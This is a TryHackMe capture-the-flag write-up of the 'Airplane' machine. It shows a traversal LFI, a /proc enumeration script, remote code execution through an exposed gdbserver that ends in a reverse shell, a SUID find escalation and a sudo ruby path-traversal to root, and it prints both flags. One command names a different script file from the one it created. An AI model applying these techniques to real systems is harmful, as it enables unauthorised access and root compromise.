Post

Airplane Write-up - TryHackMe

Process enumeration via LFI, GDB remote debugging, SUID binary and path manipulation to get root.

Airplane is a medium level boot2root challenge on TryHackMe.

Web Application

Web Application

The page parameter looked like there was a Local File Inclusion (LFI) vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ curl http://airplane.thm:8000/?page=../../../../etc/passwd -v

Server: Werkzeug/3.0.2 Python/3.8.10

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[...]
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

This was probably a Flask application. So I tried to read the source code of the application. curl http://airplane.thm:8000/?page=../app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))

            return resp
        
        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)    


@app.route('/airplane')
def airplane():
    return render_template('airplane.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

I read templates/airplane.html but there was nothing interesting.

Since everything is a file in Linux, I thought I could enumerate processes. Created a python script to list all the processes.

1
2
3
4
5
6
import requests

for i in range(1, 1000):
    response = requests.get(f'http://airplane.thm:8000/?page=../../../../proc/{i}/cmdline')
    if response.text != "Page not found" and response.text != "":
        print(f'Process {i}: {response.text}')

When I ran the script, I got this output.

1
2
3
4
5
6
7
8
9
10
11
12
Process 1: /sbin/initsplash
Process 223: /lib/systemd/systemd-journald
[...]
Process 523: /usr/sbin/NetworkManager--no-daemon
Process 526: /usr/bin/gdbserver0.0.0.0:6048airplane
Process 530: /usr/bin/python3app.py
Process 533: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
Process 537: /usr/lib/udisks2/udisksd
Process 539: /usr/sbin/ModemManager
Process 543: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Process 549: /usr/sbin/ModemManager
[...]

Process 530 is the Flask application that I was interacting with. Process 526 is gdbserver. The gdbserver is listening on port 6048. GDB is a Linux debugging tool. It can also be used to debug remote applications. I could try to interact with the gdbserver to get a shell.

I applied a technique described in Hacktricks.

1
2
3
4
5
6
$ gdb binary.elf
(gdb) target extended-remote 10.10.240.196:6048
(gdb) remote put binary.elf /tmp/binary.elf
Successfully sent file "binary.elf".
(gdb) set remote exec-file /tmp/binary.elf
(gdb) run

Popped a shell.

1
2
3
4
5
6
7
8
$ nc -nlvp 4444                
listening on [any] 4444 ...
connect to [10.14.84.35] from (UNKNOWN) [10.10.240.196] 60708
hudson@airplane:/opt$ ls -lah
total 28K
drwxr-xr-x  2 root   root   4.0K Apr 17 08:14 .
drwxr-xr-x 20 root   root   4.0K Apr 17 07:39 ..
-rwxr-xr-x  1 hudson hudson  17K Apr 17 08:14 airplane

Lateral Movement

I noticed another user named carlos on the system. When I ran linpeas to enumerate the system, I found that Carlos has SUID permissions on the /usr/bin/find binary.

1
2
hudson@airplane:/opt$ ls -lah /usr/bin/find
-rwsr-xr-x 1 carlos carlos 313K Feb 18  2020 /usr/bin/find

I used GTFOBins to get a shell as carlos.

1
2
3
hudson@airplane:/opt$ /usr/bin/find . -exec /bin/sh -p \; -quit
whoami
carlos

Got the user flag.

1
2
cat user.txt
eebfca2ca5a2b8a56c46c781aeea7562

Privilege Escalation

I created an SSH key pair and added my public key to the authorized_keys file of the carlos user. Then I was able to SSH into the machine as carlos.

1
2
3
4
5
6
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb

This can be exploited to get a root shell via path manipulation. I created a ruby script on /tmp/.

1
2
3
4
carlos@airplane:~$ echo 'system("/bin/bash")' > /tmp/shell.rb
carlos@airplane:~$ sudo /usr/bin/ruby /root/../tmp/evil.rb
# whoami
root

Got the root flag.

1
2
# cat /root/root.txt
190dcbeb688ce5fe029f26a1e5fce002

That’s it. The box was rooted.

This post is licensed under CC BY 4.0 by the author.